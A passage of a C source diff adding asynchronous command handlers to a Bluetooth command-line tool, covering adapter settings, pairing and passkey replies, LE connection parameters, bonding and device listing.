(!strcmp(argv[0], "stop")) { + if (bt_adapter_cancel_discovery_async(handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else { + return CMD_USAGE_FAULT; + } + + return CMD_OK; +} + +static void set_usage(void) +{ + printf("Usage:\n" + "\tset [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_set_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_set_cmd_tables[i].cmd, g_set_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tset help\n"); +} + +static void get_usage(void) +{ + printf("Usage:\n" + "\tget [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_get_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_get_cmd_tables[i].cmd, g_get_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tget help\n"); +} + +static void pair_usage(void) +{ + printf("Usage:\n" + "\tpair [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_pair_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_pair_cmd_tables[i].cmd, g_pair_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tpair help\n"); +} + +static int set_adapter_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + set_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_set_cmd_tables, ARRAY_SIZE(g_set_cmd_tables), argc, argv); + if (ret != CMD_OK) + set_usage(); + + return ret; +} + +static int get_adapter_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + get_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_get_cmd_tables, ARRAY_SIZE(g_get_cmd_tables), argc, argv); + if (ret != CMD_OK) + get_usage(); + + return ret; +} + +static int set_scanmode_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int scanmode = atoi(argv[0]); + if (scanmode > BT_BR_SCAN_MODE_CONNECTABLE_DISCOVERABLE) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_scan_mode_async(handle, scanmode, 1, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Scan Mode:%d set success", scanmode); + return CMD_OK; +} + +static void get_scanmode_cb(bt_instance_t* ins, bt_status_t status, bt_scan_mode_t mode, void* userdata) +{ + PRINT("Scan Mode:%d", mode); +} + +static int get_scanmode_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_scan_mode_async(handle, get_scanmode_cb, NULL); + return CMD_OK; +} + +static int set_iocap_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + + int iocap = *argv[0] - '0'; + if (iocap < BT_IO_CAPABILITY_DISPLAYONLY || iocap > BT_IO_CAPABILITY_KEYBOARDDISPLAY) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_io_capability_async(handle, iocap, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("IO Capability:%d set success", iocap); + return CMD_OK; +} + +static void get_iocap_cb(bt_instance_t* ins, bt_status_t status, bt_io_capability_t iocap, void* userdata) +{ + PRINT("IO Capability:%d", iocap); +} + +static int get_iocap_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_io_capability_async(handle, get_iocap_cb, NULL); + return CMD_OK; +} + +static void get_local_addr_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, void* userdata) +{ + PRINT_ADDR("Local Address:[%s]", addr); +} + +static int get_local_addr_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_address_async(handle, get_local_addr_cb, NULL); + return CMD_OK; +} + +static void get_appearance_cb(bt_instance_t* ins, bt_status_t status, uint16_t appearance, void* userdata) +{ + PRINT("Le appearance:0x%04x", appearance); +} + +static int get_appearance_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_le_appearance_async(handle, get_appearance_cb, NULL); + return CMD_OK; +} + +static int set_appearance_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint32_t appearance = strtoul(argv[0], NULL, 16); + bt_adapter_set_le_appearance_async(handle, appearance, status_cb, NULL); + PRINT("Set Le appearance:0x%04" PRIx32 "", appearance); + + return CMD_OK; +} + +static int set_le_addr_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + bt_adapter_set_le_address_async(handle, &addr, status_cb, NULL); + + return CMD_OK; +} + +static void get_le_addr_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, ble_addr_type_t type, void* userdata) +{ + PRINT_ADDR("LE Address:%s, type:%d", addr, type); +} + +static int get_le_addr_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_le_address_async(handle, get_le_addr_cb, NULL); + return CMD_OK; +} + +static int set_identity_addr_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int type = atoi(argv[1]); + if (type != 0 && type != 1) { + return CMD_INVALID_PARAM; + } + + bt_adapter_set_le_identity_address_async(handle, &addr, type, status_cb, NULL); + + return CMD_OK; +} + +static int set_scan_parameters_cmd(void* handle, int argc, char** argv) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int is_page = atoi(argv[0]); + if (is_page != 0 && is_page != 1) + return CMD_INVALID_PARAM; + + int type = atoi(argv[1]); + if (type != 0 && type != 1) + return CMD_INVALID_PARAM; + + int interval = atoi(argv[2]); + if (interval < 0x12 || interval > 0x1000) + return CMD_INVALID_PARAM; + + int window = atoi(argv[3]); + if (window < 0x11 || window > 0x1000) + return CMD_INVALID_PARAM; + + if (!is_page) + bt_adapter_set_inquiry_scan_parameters_async(handle, type, interval, window, status_cb, NULL); + else + bt_adapter_set_page_scan_parameters_async(handle, type, interval, window, status_cb, NULL); + + return CMD_OK; +} + +static void get_local_name_cb(bt_instance_t* ins, bt_status_t status, const char* name, void* userdata) +{ + PRINT("Local Name:%s", name); +} + +static int get_local_name_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_name_async(handle, get_local_name_cb, NULL); + return CMD_OK; +} + +static int set_local_name_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + char* name = argv[0]; + if (strlen(name) > 63) { + PRINT("name length to long"); + return CMD_INVALID_PARAM; + } + + if (bt_adapter_set_name_async(handle, name, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Local Name:%s set success", name); + return CMD_OK; +} + +static void get_local_cod_cb(bt_instance_t* ins, bt_status_t status, uint32_t cod, void* userdata) +{ + PRINT("Local class of device: 0x%08" PRIx32 ", is HEADSET: %s", cod, IS_HEADSET(cod) ? "true" : "false"); +} + +static int get_local_cod_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_device_class_async(handle, get_local_cod_cb, NULL); + return CMD_OK; +} + +static int set_local_cod_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint32_t cod = strtol(argv[0], NULL, 16); + + if (cod > 0xFFFFFF || cod & 0x3) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_device_class_async(handle, cod, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Local class of device:0x%08" PRIx32 " set success", cod); + return CMD_OK; +} + +static int pair_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + pair_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_pair_cmd_tables, ARRAY_SIZE(g_pair_cmd_tables), argc, argv); + if (ret != CMD_OK) + pair_usage(); + + return ret; +} + +extern bool g_auto_accept_pair; + +static int pair_set_auto_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + switch (*argv[0]) { + case '0': + g_auto_accept_pair = false; + break; + case '1': + g_auto_accept_pair = true; + break; + default: + return CMD_INVALID_PARAM; + break; + } + + PRINT("Auto accept pair:%s", g_auto_accept_pair ? "Enable" : "Disable"); + + return CMD_OK; +} + +static int pair_reply_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int reply = atoi(argv[1]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_pair_request_reply_async(handle, &addr, reply, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] pair request %s", argv[0], reply ? "Accept" : "Reject"); + return CMD_OK; +} + +static int pair_set_pincode_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + char* pincode = NULL; + uint8_t pincode_len = 0; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int reply = atoi(argv[1]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + if (reply) { + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + pincode = argv[2]; + pincode_len = strlen(pincode); + } + + /* TODO: Check bond state*/ + if (bt_device_set_pin_code_async(handle, &addr, reply, pincode, pincode_len, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] pincode request %s, code:%s", argv[0], reply ? "Accept" : "Reject", pincode); + return CMD_OK; +} + +static int pair_set_passkey_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + int passkey = 0; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + int reply = atoi(argv[2]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + if (reply) { + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + char tmp[7] = { 0 }; + strncpy(tmp, argv[3], 6); + passkey = atoi(tmp); + if (passkey > 1000000) { + PRINT("Invalid passkey"); + return CMD_INVALID_PARAM; + } + } + + /* TODO: Check bond state*/ + if (bt_device_set_pass_key_async(handle, &addr, transport, reply, passkey, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] passkey request %s, passkey:%d", argv[0], reply ? "Accept" : "Reject", passkey); + return CMD_OK; +} + +static int pair_set_confirm_cmd(void* handle, int argc, char** argv) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + int reply = atoi(argv[2]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_set_pairing_confirmation_async(handle, &addr, transport, reply, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] ssp confirmation %s", argv[0], reply ? "Accept" : "Reject"); + return CMD_OK; +} + +static void str2hex(char* src_str, uint8_t* dest_buf, uint8_t hex_number) +{ + uint8_t i; + uint8_t lb, hb; + + for (i = 0; i < hex_number; i++) { + lb = src_str[(i << 1) + 1]; + hb = src_str[i << 1]; + if (hb >= '0' && hb <= '9') { + dest_buf[i] = hb - '0'; + } else if (hb >= 'A' && hb < 'G') { + dest_buf[i] = hb - 'A' + 10; + } else if (hb >= 'a' && hb < 'g') { + dest_buf[i] = hb - 'a' + 10; + } else { + dest_buf[i] = 0; + } + + dest_buf[i] <<= 4; + if (lb >= '0' && lb <= '9') { + dest_buf[i] += lb - '0'; + } else if (lb >= 'A' && lb < 'G') { + dest_buf[i] += lb - 'A' + 10; + } else if (lb >= 'a' && lb < 'g') { + dest_buf[i] += lb - 'a' + 10; + } + } +} + +static int pair_set_tk_cmd(void* handle, int argc, char** argv) +{ + bt_128key_t tk_val; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of temporary key is insufficient"); + return CMD_INVALID_PARAM; + } + + str2hex(argv[1], tk_val, sizeof(bt_128key_t)); + + if (bt_device_set_le_legacy_tk_async(handle, &addr, tk_val, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Set oob temporary key for le legacy pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int pair_set_oob_cmd(void* handle, int argc, char** argv) +{ + bt_128key_t c_val; + bt_128key_t r_val; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of confirmation value is insufficient"); + return CMD_INVALID_PARAM; + } + + if (strlen(argv[2]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of random value is insufficient"); + return CMD_INVALID_PARAM; + } + + str2hex(argv[1], c_val, sizeof(bt_128key_t)); + str2hex(argv[2], r_val, sizeof(bt_128key_t)); + + if (bt_device_set_le_sc_remote_oob_data_async(handle, &addr, c_val, r_val, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Set remote oob data for le secure connection pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int pair_get_oob_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_get_le_sc_local_oob_data_async(handle, &addr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Get local oob data for le secure connection pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int connect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_connect_async(handle, &addr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device[%s] connecting", argv[0]); + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_disconnect_async(handle, &addr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device[%s] disconnecting", argv[0]); + return CMD_OK; +} + +static int le_connect_cmd(void* handle, int argc, char** argv) +{ + int opt, index = 0; + bt_address_t addr; + ble_addr_type_t addrtype = BT_LE_ADDR_TYPE_PUBLIC; + ble_connect_params_t params = { + .use_default_params = false, + .filter_policy = BT_LE_CONNECT_FILTER_POLICY_ADDR, + .init_phy = BT_LE_1M_PHY, + .scan_interval = 20, /* 12.5 ms */ + .scan_window = 20, /* 12.5 ms */ + .connection_interval_min = 24, /* 30 ms */ + .connection_interval_max = 24, /* 30 ms */ + .connection_latency = 0, + .supervision_timeout = 18, /* 180 ms */ + .min_ce_length = 0, + .max_ce_length = 0, + }; + + bt_addr_set_empty(&addr); + optind = 1; + while ((opt = getopt_long(argc, argv, "a:t:f:p:l:T:dh", le_conn_options, + &index)) + != -1) { + switch (opt) { + case 'a': { + if (bt_addr_str2ba(optarg, &addr) < 0) { + PRINT("Invalid addr:%s", optarg); + return CMD_INVALID_ADDR; + } + + } break; + case 't': { + int32_t type = atoi(optarg); + addrtype = type; + } break; + case 'd': { + params.use_default_params = true; + } break; + case 'f': { + int32_t filter = atoi(optarg); + if (filter != BT_LE_CONNECT_FILTER_POLICY_ADDR && filter != BT_LE_CONNECT_FILTER_POLICY_WHITE_LIST) { + PRINT("Invalid filter:%s", optarg); + return CMD_INVALID_PARAM; + } + + params.filter_policy = filter; + } break; + case 'p': { + int32_t phy = atoi(optarg); + if (!phy_is_vaild(phy)) { + PRINT("Invalid phy:%s", optarg); + return CMD_INVALID_PARAM; + } + params.init_phy = phy; + } break; + case 'l': { + int32_t latency = atoi(optarg); + if (latency < 0 || latency > 0x01F3) { + PRINT("Invalid latency:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_latency = latency; + } break; + case 'T': { + int32_t timeout = atoi(optarg); + if (timeout < 0x0A || timeout > 0x0C80) { + PRINT("Invalid supervision_timeout:%s", optarg); + return CMD_INVALID_PARAM; + } + params.supervision_timeout = timeout; + } break; + case 'h': { + PRINT("%s", LE_CONN_USAGE); + } break; + case 0: { + const char* curopt = le_conn_options[index].name; + int32_t val = atoi(optarg); + + if (strncmp(curopt, "conn_interval_min", strlen("conn_interval_min")) == 0) { + if (val < 0x06 || val > 0x0C80) { + PRINT("Invalid conn_interval_min:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_interval_min = val; + } else if (strncmp(curopt, "conn_interval_max", strlen("conn_interval_max")) == 0) { + if (val < 0x06 || val > 0x0C80) { + PRINT("Invalid conn_interval_max:%s", optarg); + return CMD_INVALID_PARAM; + } + params.connection_interval_max = val; + } else if (strncmp(curopt, "scan_interval", strlen("scan_interval")) == 0) { + if (val < 0x04 || val > 0x4000) { + PRINT("Invalid scan_interval:%s", optarg); + return CMD_INVALID_PARAM; + } + params.scan_interval = val; + } else if (strncmp(curopt, "scan_window", strlen("scan_window")) == 0) { + if (val < 0x04 || val > 0x4000) { + PRINT("Invalid scan_window:%s", optarg); + return CMD_INVALID_PARAM; + } + params.scan_window = val; + } else if (strncmp(curopt, "min_ce_length", strlen("min_ce_length")) == 0) { + if (val < 0x0A || val > 0x0C80) { + PRINT("Invalid min_ce_length:%s", optarg); + return CMD_INVALID_PARAM; + } + params.min_ce_length = val; + } else if (strncmp(curopt, "max_ce_length", strlen("max_ce_length")) == 0) { + if (val < 0x0A || val > 0x0C80) { + PRINT("Invalid max_ce_length:%s", optarg); + return CMD_INVALID_PARAM; + } + params.max_ce_length = val; + } else { + return CMD_INVALID_OPT; + } + } break; + default: + return CMD_INVALID_OPT; + } + } + + if (bt_addr_is_empty(&addr)) + return CMD_INVALID_ADDR; + + if (bt_device_connect_le_async(handle, &addr, addrtype, ¶ms, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int le_disconnect_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_device_disconnect_le_async(handle, &addr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("LE Device[%s] disconnecting", argv[0]); + return CMD_OK; +} + +static int create_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_create_bond_async(handle, &addr, transport, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] create bond", argv[0]); + return CMD_OK; +} + +static int cancel_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + /* TODO: Check bond state*/ + if (bt_device_cancel_bond_async(handle, &addr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] cancel bond", argv[0]); + return CMD_OK; +} + +static int remove_bond_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_remove_bond_async(handle, &addr, transport, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] remove bond", argv[0]); + return CMD_OK; +} + +static int set_phy_cmd(void* handle, int argc, char** argv) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int tx_phy, rx_phy; + tx_phy = atoi(argv[1]); + rx_phy = atoi(argv[2]); + if (!phy_is_vaild(tx_phy) || !phy_is_vaild(rx_phy)) { + PRINT("Invalid phy parameter, tx:%d, rx:%d", tx_phy, rx_phy); + return CMD_INVALID_PARAM; + } + + bt_device_set_le_phy_async(handle, &addr, tx_phy, rx_phy, status_cb, NULL); + + return CMD_OK; +} + +static const char* bond_state_to_string(bond_state_t state) +{ + switch (state) { + case BOND_STATE_NONE: + return "BOND_NONE"; + case BOND_STATE_BONDING: + return "BONDING"; + case BOND_STATE_BONDED: + return "BONDED"; + default: + return "UNKNOWN"; + } +} + +static void get_device_alias_cb(bt_instance_t* ins, bt_status_t status, const char* alias, void* userdata) +{ + PRINT("\tAlias: %s", alias); +} + +static void get_device_name_cb(bt_instance_t* ins, bt_status_t status, const char* alias, void* userdata) +{ + PRINT("\tNmae: %s", alias); +} + +static void get_device_class_cb(bt_instance_t* ins, bt_status_t status, uint32_t class, void* userdata) +{ + PRINT("\tClass: 0x%08" PRIx32 "", class); +} + +static void get_device_type_cb(bt_instance_t* ins, bt_status_t status, bt_device_type_t type, void* userdata) +{ + PRINT("\tDeviceType: %d", type); +} + +static void is_connected_cb(bt_instance_t* ins, bt_status_t status, bool connected, void* userdata) +{ + PRINT("\tIsConnected: %d", connected); +} + +static void is_encrypted_cb(bt_instance_t* ins, bt_status_t status, bool encrypted, void* userdata) +{ + PRINT("\tIsEncrypted: %d", encrypted); +} + +static void is_bonded_cb(bt_instance_t* ins, bt_status_t status, bool bonded, void* userdata) +{ + PRINT("\tIsBonded: %d", bonded); +} + +static void get_bond_state_cb(bt_instance_t* ins, bt_status_t status, bond_state_t state, void* userdata) +{ + PRINT("\tBondState: %s", bond_state_to_string(state)); +} + +static void is_bond_initiate_local_cb(bt_instance_t* ins, bt_status_t status, bool initiate, void* userdata) +{ + PRINT("\tIsBondInitiateLocal: %d", initiate); +} + +static void get_uuids_cb(bt_instance_t* ins, bt_status_t status, bt_uuid_t* uuids, uint16_t uuid_cnt, void* userdata) +{ + PRINT("\tUUIDs:[%d]", uuid_cnt); + for (int i = 0; i < uuid_cnt; i++) { + char uuid_str[40] = { 0 }; + bt_uuid_to_string(uuids + i, uuid_str, 40); + PRINT("\t\tuuid[%-2d]: %s", i, uuid_str); + } +} + +static void device_dump(void* handle, bt_address_t* addr, bt_transport_t transport) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("device [%s]", addr_str); + if (transport == BT_TRANSPORT_BREDR) { + bt_device_get_name_async(handle, addr, get_device_name_cb, NULL); + bt_device_get_alias_async(handle, addr, get_device_alias_cb, NULL); + bt_device_get_device_class_async(handle, addr, get_device_class_cb, NULL); + bt_device_get_device_type_async(handle, addr, get_device_type_cb, NULL); + bt_device_is_connected_async(handle, addr, transport, is_connected_cb, NULL); + bt_device_is_encrypted_async(handle, addr, transport, is_encrypted_cb, NULL); + bt_device_is_bonded_async(handle, addr, transport, is_bonded_cb, NULL); + bt_device_get_bond_state_async(handle, addr, transport, get_bond_state_cb, NULL); + bt_device_is_bond_initiate_local_async(handle, addr, transport, is_bond_initiate_local_cb, NULL); + bt_device_get_uuids_async(handle, addr, get_uuids_cb, NULL); + } else { + bt_device_is_connected_async(handle, addr, transport, is_connected_cb, NULL); + bt_device_is_encrypted_async(handle, addr, transport, is_encrypted_cb, NULL); + bt_device_is_bonded_async(handle, addr, transport, is_bonded_cb, NULL); + bt_device_get_bond_state_async(handle, addr, transport, get_bond_state_cb, NULL); + bt_device_is_bond_initiate_local_async(handle, addr, transport, is_bond_initiate_local_cb, NULL); + } +} + +static int device_show_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + device_dump(handle, &addr, BT_TRANSPORT_BREDR); + + return CMD_OK; +} + +static int device_set_alias_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) > 63) { + PRINT("alias length too long"); + return CMD_INVALID_PARAM; + } + + bt_device_set_alias_async(handle, &addr, argv[1], status_cb, NULL); + PRINT("Device: [%s] alias:%s set success", argv[0], argv[1]); + return CMD_OK; +} + +static void get_devices_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addrs, int num, int transport, void* userdata) +{ + for (int i = 0; i < num; i++) { + device_dump(ins, addrs + i, transport); + } +} + +static void get_br_bonded_devices_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addrs, int num, void* userdata) +{ + PRINT("BREDR bonded device cnt:%d", num); + get_devices_cb(ins, status, addrs, num, BT_TRANSPORT_BREDR, userdata); +} + +static void get_le_bonded_devices_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addrs, int num, void* userdata) +{ + PRINT("LE bonded device cnt:%d", num); + get_devices_cb(ins, status, addrs, num, BT_TRANSPORT_BREDR, userdata); +} + +static int get_bonded_devices_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int transport = atoi(argv[0]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + bt_adapter_get_bonded_devices_async(handle, transport, + transport == BT_TRANSPORT_BREDR ? get_br_bonded_devices_cb : get_le_bonded_devices_cb, NULL); + + return CMD_OK; +} + +static void get_br_connected_devices_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addrs, int num, void* userdata) +{ + PRINT("BREDR connected device cnt:%d", num); + get_devices_cb(ins, status, addrs, num, BT_TRANSPORT_BREDR, userdata); +} + +static void get_le_connected_devices_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addrs, int num, void* userdata) +{ + PRINT("LE connected device cnt:%d", num); + get_devices_cb(ins, status, addrs, num, BT_TRANSPORT_BREDR, userdata); +} +static int get_connected_devices_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int transport = atoi(argv[0]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + bt_adapter_get_connected_devices_async(handle, transport, + transport == BT_TRANSPORT_BREDR ? get_br_connected_devices_cb : get_le_connected_devices_cb, NULL); + return CMD_OK; +} + +static int search_cmd(void* handle, int argc, char** argv) +{ + PRINT("%s", __func__); + return CMD_OK; +} + +static int start_service_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int stop_service_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int dump_cmd(void* handle, int argc, char** argv) +{ + return CMD_OK; +} + +static int usage_cmd(void* handle, int argc, char** argv) +{ + if (argc == 2 && !strcmp(argv[1], "me!!!")) + return -2; + + usage(); + + return CMD_OK; +} + +static int quit_cmd(void* handle, int argc, char** argv) +{ + return -2; +} + +static void usage(void) +{ + printf("Usage:\n" + "\tbttool [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_async_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_async_cmd_tables[i].cmd, g_async_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tbttool <command> --help\n"); +} + +int execute_async_command(void* handle, int argc, char* argv[]) +{ + int ret; + + for (int i = 0; i < ARRAY_SIZE(g_async_cmd_tables); i++) { + if (strlen(g_async_cmd_tables[i].cmd) == strlen(argv[0]) && strncmp(g_async_cmd_tables[i].cmd, argv[0], strlen(argv[0])) == 0) { + if (g_async_cmd_tables[i].func) { + if (g_async_cmd_tables[i].opt) + ret = 